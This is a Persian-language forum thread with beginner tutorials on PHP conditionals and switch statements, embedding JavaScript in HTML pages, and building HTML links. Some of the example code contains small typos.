مثلا شما می خواهید فقط به کاربر گروه admin اجازه ورود بدید در این صورت اگر کاربر از گروه admin باشه به صفحه مورد نظر ببریدش و در غیر این صورت بهش پیغام مناسبی نمابش بدید:

کد: انتخاب همه

if ($userType == 'admin')
{
	showAdminCtrlPanel();
	echo 'به کنترل پنل خوش آمدید...';
}
else 
  //متن خطا.

اگه خوب به این مثال دقت کنید می بینید که اگر مجبور باشیم چند دستور رو داخل بلوک شرطی قرار بدیم باید از آکولاد {} استفاده کنیم و مجموعه دستورات رو داخل آکولادها قرار بدیم! حالا فرض کنید ما چند گروه کاربر دیگه هم داریم که باید برای هر کدوم پیغام و صفحه متمایزی رو نشون بدیم! مثلا گروه های کاربریمون عبارتند از admin,user,editor,programmer در این حالت باید دستورات شرطی رو باهم ترکیب کنیم! بوسیله elseif این کار ممکن میشه:

کد: انتخاب همه

if ($userType == 'admin')
{
	showAdminCtrlPanel();
	echo 'به کنترل پنل خوش آمدید...';
}
elseif($userType == 'user')
	//نمایش پنل کاربر عضو شده
elseif($userType == 'editor')
	//نمایش پنل نویسنده های سایت
elseif($userType == 'programmer')
	//نمایش پنل توسه دهنده ها
else 
	//پیام خطا.
میتونیم به هر تعداد که بخواهیم این کار رو تکرار کنیم و از elseif استفاده کنیم. در هر کدوم از بلوک های شرطی هم باید در صورتی که چندتا دستور داریم از آکولاد استفاده کنیم! حالا فرض کنید تعداد این شرط ها خیلی بیشتر بشه که در این صورت استفاده از if و elseif زیاد معقول به نظر نمیاد اینجاست که باید از نوع دیگه ای از دستورات شرطی (یا بهتره بگیم انتخابی) بهره ببریم! دستور switch در حالتی که تعداد if ها زیاد باشه خیلی به کار میاد. شکل کلی این دستور رو در ادامه می بینید:

کد: انتخاب همه

switch($choice)
{
  case حالت اول: ;
break;
  case حالت دوم: ;
break;
  case حالت سوم: ;
break;
.
.
.
  default: ;
break;
}

دستور switch یه مقدار توضیح میخواد:
اول اینکه switch یک متغیر به عنوان ورودی میگیره و ما مقادیر مختلف اون رو بررسی می کنیم.
دوم اینکه هر کدوم از مقادیر رو جلوی عبارت case می نویسیم.
سوم اینکه بعد از تمام شدن هر بلوک از دستورات برای یک مقدار خاص ، باید از ;break استفاده کنیم.
چهارم هم اینکه deafult حالت پیش فرض رو مشخص میکنه یعنی وقتی که متغیرمون هیچ کدوم از مقادیر مورد بررسی رو نداشته باشه.

در پایان این بخش هم مثال گروه های کاربری رو با switch بازنویسی میکنیم:

کد: انتخاب همه

switch($userType)
{
  case 'admin': 
	showAdminCtrlPanel();
	echo 'به پنل خوش آمدید...';
break;

  case 'user': 
	//نمایش پنل کاربر عضو شده
break;

  case 'editor': 
    //نمایش پنل نویسنده های سایت
break;

  case 'programmer': 
   //نمایش پنل توسعه دهندگان
break;

  default: 
   //نمایش پیام خطا
break;
}

می بینید که کد ساده تر و خواناتری داریم که در موارد مشابه کارمون رو ساده میکنه!

با تشکر قکر کنم برای امروز بسته چند جلسه دیگر پیش برم اگر شما هم با من پیش برید میرم سر فایل های خود نیوک و با این دستورات فایل های نیوک رو به سلیقه خودتون تغییر تصویربدیدتصویرتصویر
SINISTERMMP
کاربر فعال
کاربر فعال
پست: 565
تاریخ عضویت: جمعه ۲۹ بهمن ۱۳۸۹, ۱۲:۰۰ ق.ظ
تشکر کرده: 62 دفعه
تشکر شده: 259 دفعه

آموزش جاوا اسکیریبت - قسمت دوم

پست توسط SINISTERMMP »

با سلام چند وقت بود یادم رفته بود جاوا اسکیربت رو الان ادامه جاوا اسکیربیت رو آماده کردم براتون میزارم:
چگونه جاوا اسکریپت را داخل صفحات HTML قرار دهیم؟تصویر
نکته:
تگ <script> در زبان html برای قرار دادن کدهای جاوااسکریپت در صقحه وب به کار میرود!

کد: انتخاب همه

<html>
<body>

    <script type = "text/javascript">

		 Document.write("Hello World!");

    </script>

</body>
</html>
کد بالا در خروجی صفحه HTML نتیجه زیر را تولید میکند:

Hello World!

توضیح مثال
برای وارد کردن جاوا اسکریپت داخل صفحه HTML از تگ <script> استفاده می کنیم . داخل تگ <script> نوع خصوصیاتی که برای تعریف زبان اسکریپت تعریف می شود را تعریف میکنیم.
بنابراین <script type="text/javascript"> و </script> به ما می گوید که جاوا اسکریپت از کجا شروع شده و کجا خاتمه پیدا کرده

کد: انتخاب همه

<html>
<body>

	<script type="text/javascript">
	    ......
	</script>

</body>
</html>
کلمه ی Document.write یک دستور استاندارد جاوا اسکریپت برای نوشتن خروجی بر روی صفحه است. با قرار دادن دستور Document.write بین تگهای <script> و </script> مرورگرآن را به عنوان یک دستورجاوااسکریپت تشخیص داده و آن خط را اجرا می کند . در این مورد مرورگر Hello World! را بر روی صفحه می نویسد.

کد: انتخاب همه

<html>
<body>

	<script type="text/javascript">
		Document.write("Hello World!");
	</script>

</body>
</html>
توجه : اگر ما تگ <script> را ننویسیم مرورگر خود دستور document.write("Hello World!") را بدون هیچ تغییری چاپ می کند چراکه آن را به عنوان یک متن شناسایی خواهد کرد.

توضیحات HTML برای مدیریت مرورگرهای ساده

مرورگرهایی که از جاوا اسکریپت حمایت نمی کنند با آن به عنوان محتویات یک صفحه عمل می کنند .
برای جلوگیری از این مسئله و طبق استانداردهای جاوا اسکریپت ، توضیح تگهای HTML می تواند دستورات جاوا اسکریپت را پنهان کند . کافی است از تگ HTML <!-- قبل از اول توضیحات جاوا اسکریپت و یک <-- در آخر دستور بعد از آخرین توضیح جاوا اسکریپت استفاده کنید .

کد: انتخاب همه

<html>
<body>

	<script type = "text/javascript">
	<!- -
		Document.write("Hello World!")
	// -- >
	<script/>

</body>
</html>
دو تا اسلشی که در آخر خط توضیحی وجود دارد (//) نشانه ی توضیحات جاوا اسکریپت است . که این از اجرای تگ <- - در جاوا اسکریپت جلوگیری می کند.

نکته:
جاوا اسکریپت در قسمت بدنه <body> در زمان لود صفحه اجرا میشود.
جاوا اسکریپت در قسمت عنوان<head> زمانی اجرا میشود که فراخوانی شود.
جاوا اسکریپت را کجا قرار بدهیمتصویر

جاوا اسکریپت زمانی که صفحه در داخل مرورگر لود می شود به سرعت اجرا می شود . این چیزی نیست که ما همیشه می خواهیم. گاهی اوقات می خواهیم که یک اسکریپت script زمانی که یک صفحه لود می شود یا در یک زمان دیگر که کابر کاری را انجام می دهد اجرا شود.

اسکریپت در قسمت عنوان <head>
اسکریپت هایی که میخواهیم با یک فرخوانی call یا با یک رویداد event اجرا شوند به قسمت عنوان انتقال میدهیم. زمانی که شما یک اسکریپت را در قسمت عنوان قرار می دهید ، شما مطمئن هستید که اسکریپت قبل از اینکه کسی بخواهد از آن استفاده کند لود می شود.

کد: انتخاب همه

<html>
<head>
	<script type="text/javascript">
	    ...
	</script>
</head>

<body>
</body>
</html>
اسکریپت در قسمت بدنه <body>
اسکریپت هایی که باید زمان لود صفحه اجرا شوند بهتر است در قسمت <body> قرار بگیرند. زمانی که شما یک اسکریپت را در قسمت بدنه برنامه قرار می دهید معمولا آن اسکریپت محتوای صفحه را تولید میکند.

کد: انتخاب همه

<html>

<head>
</head>

<body>
	<script type="text/javascript">
		...
	</script>
</body>

</html>
اسکریپت در هر دو قسمت بدنه و عنوان
شما می توانید تعداد نا محدودی از اسکریپتها را در متن خودتان قرار بدهید ؛ بنابراین شما می توانید اسکریپت را در هر دو قسمت عنوان و بدنه داشته باشید

کد: انتخاب همه

<html>
<head>
	<script type="text/javascript">
	    ...
	</script>
</head>

<body>
	<script type="text/javascript">
	    ...
	</script>
</body>
</html>

استفاده از جاوا اسکریپت خارجی

گاهی اوقات ممکن است که شما بخواهید یک جاوا اسکریپت را در چندین صفحه اجرا کنید بدون اینکه مجبور باشید یک اسکریپت یکسان بر روی هر صفحه بنویسید.
برای ساده کردن ، شما می توانید یک جاوا اسکریپت را در یک فایل خارجی بنویسید . فایل خارجی جاوا اسکریپت را با عنوان یک فایل با پسوند .js ذخیره کنید .
توجه : اسکریپت خارجی نمی تواند شامل تگ <script> باشد .
برای استفاده از اسکریپت خارجی در فایل .js داخل تگ <script> از صفت "src" بهره ببرید.

کد: انتخاب همه

<html>
<head>

	<script type="text/script" src="xyz.js"> <script>

</head>

<body>
</body>

</html>
توجه:
به یاد داشته باشید که اسکریپت را دقیقا جایی قرار دهید که اصولا باید در آنجا آن را مینوشتید.


نکته:
جاوا اسکریپت JavaScipt یک رشته از دستورات است که توسط مرورگر اجرا می شود!
جاوا اسکریپت JavaScript یک زبان case sensitiveاست – بین حروف کوچک و بزرگ تفاوت وجود دارد!

برخلاف HTML ، جاوا اسکریپت case sensitive است ؛ بنابراین هنگام نوشتن حروف بزرگ یا کوچک دستورات ، عبارات و اسامی متغیرها حتما توجه داشته باشید که اشتباهی رخ ندهد! چرا که برای مثال جاوا اسکریپت JavaScript بین ali و Ali تفاوت قائل میشود.

دستورات جاوا اسکریپت - JavaScript Statementsتصویر

یک دستور جاوا اسکریپت JavaScript یک فرمان به مرورگر است . هدف این دستورات این است که به مرورگر بگویید که چه کاری باید انجام دهد.
این دستور جاوا اسکریپت JavaScript به مرورگر می گوید که "Hello JavaSciprt PHP ASP" را بر روی صفحه وب نشان دهد:

کد: انتخاب همه

document.write("Hello JavaSciprt PHP ASP");

به طور طبیعی باید سمی کالن را در آخر هر دستور قابل اجرا قرار دهیم . بسیاری از مردم تصور می کنند که این تمرین یک برنامه خوب است و باید معمولا شما این موضوع را در مثالهای جاوا اسکریپت در اینترنت ببنید.
براساس استاندارد جاوا اسکریپت ، قرار دادن سمی کالن اختیاری است و مرورگر فرض می کند که اخر خط انتهای دستور است . برای این است که شما معمولا سمی کالن را در آخر خط نمی بینید .
نکته : استفاده از سمی کالن این امکان را به شما می دهد که چندین دستور را در یک خط بنویسید .

کدهای جاوا اسکریپت
کدهای جاوا اسکریپت (یا فقط جاوا اسکریپت JavaScript ) یک ترتیبی از دستورات جاوا اسکریپت است. هر دستور جاوا اسکریپت به ترتیبی که نوشته شده اند بوسیله مرورگرها قابل اجرمی باشد.
این مثال یک عنوان و دو پاراگراف را در صفحه وب می نویسد

کد: انتخاب همه

<script type="text/javascript">
	 document.write("<h1>This is a header</h1>");
	 document.write("<p>This is a paragraph</p>");
	 document.write("<p>This is another paragraph</p>");
</script>

بلوکهای جاوا اسکریپت - JavaScript Blocksتصویر

توضیحات جاوا اسکریپت JavaScript می توانند با هم در یک بلوک ذخیره شوند
بلوکها با } شروع وبا { تمام می شوند .
هدف از این بلوکها این است که یک ترتیبی از توضیحاتی که با هم اجرا می شوند ایجاد شود
این مثال یک عنوان و دو پاراگراف را در صفحه وب می نویسد

کد: انتخاب همه

<script type="text/javascript">
{
	document.write("<h1>This is a header</h1>");
	document.write("<p>This is a paragraph</p>");
	document.write("<p>This is another paragraph</p>");
}
</script>

مثال بالا خیلی کارآمد نیست ؛ این فقط استفاده از بلوک را نشان می دهد . به طور طبیعی یک بلوک برای گروهی از توضیحات که در یک تابع یا وضعیت با هم استفاده می شوند ( جایی که اگر یک وضعیت خاص اتفاق بیفتد یک گروه از دستورات اجرا میشود).
حالا فکر کنم دیگه بسته برای امروز برید تمرین کنید ولی شما چیزهای بیشتری در مورد توابع و وضعیتها در بخشهای بعدی یاد خواهید گرفت.تصویر
SINISTERMMP
کاربر فعال
کاربر فعال
پست: 565
تاریخ عضویت: جمعه ۲۹ بهمن ۱۳۸۹, ۱۲:۰۰ ق.ظ
تشکر کرده: 62 دفعه
تشکر شده: 259 دفعه

آموزش html - مقدماتی - لینک ها

پست توسط SINISTERMMP »

با سلام من دیگه امروز کلی مطلب براتون اوردم دیگه میخواهم جلسه دوم رو ببندمتصویر و بعد از فردا یکشنبه بریم سراغ جلسه سوم و آموزش متوسطه و بعدش هم اموزش پیشرفتهتصویرخوب من دیگه میرم سرم اصل مطلب:
لینک ها بنیادی ترین قسمت از شبکه ارتباط جهانی (www) هستند. بنابرین توصیه می شود که هزینه زمانی بیشتری برای این قسمت صرف کنید. ما هم سعی می کنیم با آوردن مثال های متنوع به شما برای یاد گیری این بخش کمک کنیم. باید توجه داشت که هم متون و هم عکس ها می توانند به عنوان لینک مورد استفاده قرار بگیرند.
مثال های زیر را با هم بررسی می کنیم.
مثال 1) برای رفتن به سایت www.google.com از سایت www.phpnuke.ir کافی است که بر روی http://www.google.com کلیک کنید.
مثال 2)برای اینکهhttp://www.phpnuke.ir/Forum/posting.php?mode=r ... 35&t=47038 را در سایت مرجع نویک فارسی ببینیم کافی است که بر روی آموزش برنامه نویسی وب از مبتدی تا پیشرفته کلیک کنید.
مثال 3)برای رفتن به یکی از مثال ها در همین صفحه کافی است که روی برو به مثال کلیک کنید
3 مثالی که در بالا آورده شد تداعی کننده انواع لینک ها هستند که در زیر به آنها اشاره می شود.

انواع لینک (link) در html
1) لینک سراسری(Global Links): لینک هایی که به صفحات یک سایت دیگر اشاره دارند. به مثال 1 توجه کنید.
2) لینک محلی یا موضعی(Local Links): لینک هایی که به صفحات دیگر همان سایت اشاره می کند. یعنی از سایتی که در آن هستید خارج نمی شوند. به مثال 2 توجه کنید.
3) لینک داخلی (Internal Links): لینک هایی هستند که به قسمتی همان صفحه ای که در آن هستید اشاره می کنند. به مثال 3 توجه کنید.

چگونه لینک html بسازیم؟؟؟
برای ساختن لینک کافی است از دستور <a>...</a> مخفف anchor استفاده کنیم. هر آنچه که بین </a>…<a> قرار می گیرد به عنوان لینک شناخته می شود. برای اینکه مقصد لینک نیز مشخص شود از صفت href مخفف "hypertext reference" استفاده می کنیم. توجه کنید بین دستور a هر المانی از جمله متن ، عکس و... می تواند قرار بگیرد و بعد از این کار با کلیک بر روی آن المان به پیوند مورد نظر منتقل خواهیم شد.

پس شکل کلی این دستور در زبان html به صورت زیر است:

کد: انتخاب همه

<a href="url">متنی که به عنوان لینک شناخته خواهد شد</a>

<a href="url"><img src="" /></a>

<a href="">هر المانی که قرار است به عنوان لینک استفاده شود</a>

Global link - لینک سراسری یا جهانی :
ویراستار Dreamweaver خود را باز کنید و کد زیر را تایپ کنید سپس با پسوند htm یا html و با نام GlobalLink آن را ذخیره کنید.

کد: انتخاب همه

<html>
   <head>
	  <title>My Page</title>
   </head>

   <body>
		   Click <a href="http://www.google.com">here</a> to go to google.
   </body>
</html>

حال اگر با مرورگر صفحه مورد نظر را باز کنید نتیجه به صورت زیر مشاهده خواهد شد:
Click here to go to google.

با فشردن کلمه here به سایت www.google.com خواهید رفت , به همین سادگی
Local link - لینک محلی:
قبل از اینکه به این مثال بپردازیم یک صفحه html بنام firstpage را در درایو c خود بسازید.سپس ویراستار Dreamweaver را باز کرده و کد زیر را در آن تایپ کنید و آن را با نام Internallink و با پسوند htm ذخیره کنید

کد: انتخاب همه

Click <a href="c:\ firstpage.htm">here</a> to go to firstpage.
حال اگر با مرورگر صفحه Internallink.htm را باز کنید، صفحه مورد نظر برای شما نمایش داده میشود!

Intrnal Link - پیوند داخلی:
برای اینکه به قسمت خاصی از صفحه وبی که در آن قرار داریم ، پیوند بر قرار کنیم یا به عبارت دیگر به قسمتی از همان صفحه html پرش کنیم، باید از صفت name از دستور<a>…</a> برای نام گذاری آن بخش استفاده کنیم.این نام از حروف تشکیل می شود که باید منحصر به فرد نیز باشد. مثلا قسمتی از صفحه را انتخاب می کنیم و در آن قسمت دستور <a name="mesale1">…</a> را می نویسیم حال برای مراجعه به آن بخش کافی است در پیوند داخلی که ایجاد می کنیم علامت # و بعد نامی که انتخاب کرده بودیم را می نویسیم. در این مثال باید بنویسیم <a href="#mesale1">…</a>. مثال کامل زیر بهتر به تشریح این موضوع خواهد پرداخت.

کد: انتخاب همه

<html>
   <head>
	 <title>my page</title>
   </head>

   <body>

	   <h3><a href="#Chapter 1">Introduction</a></h2>
	   <h3><a href="#Chapter 2">html text</a></h2>
	   <h3><a href="#Chapter 3">html links</a></h2>

	   <a name=" Chapter 1"> Introduction </a></br>
	   <!-- Introdution متن مربوط به  --></br>

	   <a name=" Chapter 2"> html text</a></br>
	   <!-- html text متن مربوط به  --></br>

	   <a name=" Chapter 3"> html links</a></br>
	   <!-- html links متن مربوط به  --></br>

   </body>
</html>
در مثال بالا فرض کنید صفحه وبی داریم که شامل اطلاعاتی در مورد html است که به 3 فصل html links, html text ,Introduction تقسیم شده است که در بالای صفحه آمده اند. توضیح همه این فصل ها درهمین صفحه قرار دارد.
حال برای دیدن متن مربوط به html text کافی است بر روی لینک html text کلیک کنیم. با یاد داریم که این نوع پیوند ، پیوند داخلی نام دارد. پس 2 مرحله برای ایجاد پیوند داخلی داریم:

1)نام گذاری بخشی که می خواهیم با لینک آن را ببینیم.

کد: انتخاب همه

<a name="#Chapter 2">html text</a>
2)ایجاد پیوند به بخش نام گذاری شده.

کد: انتخاب همه

<a href="#Chapter 2">html text</a>
لینک های رنگی بسازید:

برای اینکه لینک ها را در صفحه خود به صورت متمایز نمایش دهیم می توان برای آنها رنگ مشخص کرد.
دو حالت برای تعریف کردن رنگ لینک ها وجود دارد:
1)رنگ تمام لینک ها در صفحه به یک صورت تعریف شود.
2)برای بعضی از لینک ها رنگ متفاوتی تعریف کنیم.
link,vlink,alink ؟!! یعنی چی؟تصویر
link: بیان کننده رنگ پیوند هایی است که تا کنون ملاقات نشده اند. استاندارد آن آبی (blue یا #0000FF) است.
vlink مخفف Visited Link :رنگ پیوند را پس از ملاقات شدن نمایش می دهد.استاندارد آن ارغوانی (purple - #800080) است.
alink مخفف Active Link :رنگ لینک را وقتی که ماوس بر روی آن قرار می گیرد ، مشخص می کند.استاندارد آن قرمز (red - #FF0000) است.

یک رنگ برای تمام لینک های موجود در صفحه html

کافی است که در قسمت <body> از صفت های link,vlink,alink استفاده کنیم.

کد: انتخاب همه

<body link="#C0C0C0" vlink="#808080" alink="#FF0000">
هر لینک یک رنگ
اگر بخواهیم رنگ یک یا چند لینک را در صفحه html ، متفاوت از بقیه نشان دهیم از یکی از دو روش زیر استفاده می کنیم.

روش اول:استفاده از دستور font بین دستور <a href>…</a>باید به این نکته مهم توجه داشت که دستور font حتما باید بین <a href>…</a> قرار بگیرد.

کد: انتخاب همه

Click <a href="http://www.sepidarsoft.com"> <font color="red">here</font> </a> to go to sepidarsoft.
روش دوم:استفاده از خاصیت style در دستور <a>

کد: انتخاب همه

Click <a href="http://www.sepidarsoft.com" style="color: green">here</a> to go to sepidarsoft. 

با استفاده از یکی از دو روش فوق می توانید لینک ها یی با رنگ دلخواه تعریف کنید .

بعضی رنگ های معروف:تصویر
Black, Aqua , Fushia, Blue, Gray, Green, Lime, Marron, Navy, Olive, Purple, Red,Silver,Teal,White,Yellow .

نکته :به جای نوشتن اسامی رنگ ها, می توان از فرمت RGB استفاده کرد.که b,g,r به ترتیب مخفف blue,green,red هستند.که هر یک می توانند مقداری بین 0 تا 255 بگیرند. رنگ مورد نظر از ترکیب این رنگ ها به دست خواهد آمد. مثلا 187 017 142 رنگی مایل به بنفش خواد بود. البته اکثر طراحان ترجیح می دهند که این رنگ ها را در مبنای شانزده (hex) بیان کنند مثلا رنگ معادل مثال قبل در مبنای شانزده به صورت 8E11BB# نوشته می شود.



صفات مربوط به دستور پیوند (Link Attributes )
در مورد صفت های href وname به طور مفصل صحبت کردیم حال به توضیح صفت های دیگر این دستور می پردازیم.
صفت title : با استفاده از این صفت وقتی ماوس بر روی پیوند مورد نظر قرار می گیرد متنی که در جلوی این صفت نوشته شده ظاهر می شود.
مثال:

کد: انتخاب همه

<a href ="www.SepidarSft.com" title="for more learning html click here">learning html</a> 
وقتی ماوس روی پیوندhml learning قرار می گیرد پیام for more learning html click here ظاهر می شود.

صفت tabindex : با استفاده از این صفت و مقدار دادن به آن در مرورگرهایی که ازاین صفت پشتیبانی می کنند ,روند انتخاب کردن پیوند را با استفاده از کلید Tab مشخص می کنیم.
مثال:

کد: انتخاب همه

<a href =" http://www.yahoo.com"  tabindex="1">yahoo</a></br>
<a href =" http://www.google.com"  tabindex="3">google</a></br>
<a href =" http://www.SepidarSoft.com"  tabindex="2">SepidarSoft</a>

با یک بار فشردن کلید Tabمکان نما بر روی پیوند yahoo با دو بار فشردن مکان نما بر روی پیوند webfocus و با سه بار فشردن کلید Tab مکان نما بر روی پیوند google قرار می گیرد.
حال اگر ازاین صفت استفاده نکنیم ,با هر بار فشردن کلید Tab ,مکان نما به ترتیبی که پیوندها در صفحه آورده شده اند ,حرکت می کنند.مثلا اگر در مثال بالا از صفت tabindex استفاده نشود,با یک بار فشردن Tab مکان نما بر روی پیوند yahoo با دو بار فشردن بر روی پیوند google و با سه بار فشردن برروی پیوند webfocus قرار می گیرد.

صفت Target : به صورت پیش فرض, لینک ها در همان پنجره یا فریم ای که در آن هستید باز خواهند شد.با استفاده از صفت Target مثلا می توانید تعیین کنید که پیوند مورد نظر در یک پنجره جدید باز شود. با این صفت در بخش فریم ها بیشتر آشنا خواهیم شد.

اقا تشکر مشکر کسی بلد نیست فکر کنم تو این تالار تصویر
حالا ولش کن اقا من دیگه توی جلسه سوم که آموزش میدم دیگه آموزش مبتدی نیست که بگید آموزش بده مثلا ما رد جلسه سوم آموزش ساخت بلاگ کاربر را داریم که اگر کسی این جلسات رو خوب ندونه اصلا از اونا چیزی نمیفهمهتصویر

فعلا
موضوع جدید ارسال پست

بازگشت به “آموزش و مقالات - Learning & Articles”